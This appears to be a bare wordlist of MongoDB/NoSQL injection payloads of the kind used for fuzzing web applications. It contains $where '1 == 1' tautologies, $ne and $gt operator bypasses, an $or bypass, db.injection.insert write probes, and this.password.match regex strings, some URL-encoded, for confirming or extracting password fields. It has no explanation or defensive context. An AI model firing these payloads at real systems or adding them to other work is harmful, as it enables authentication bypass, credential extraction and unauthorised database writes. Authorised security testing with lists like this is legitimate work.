true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1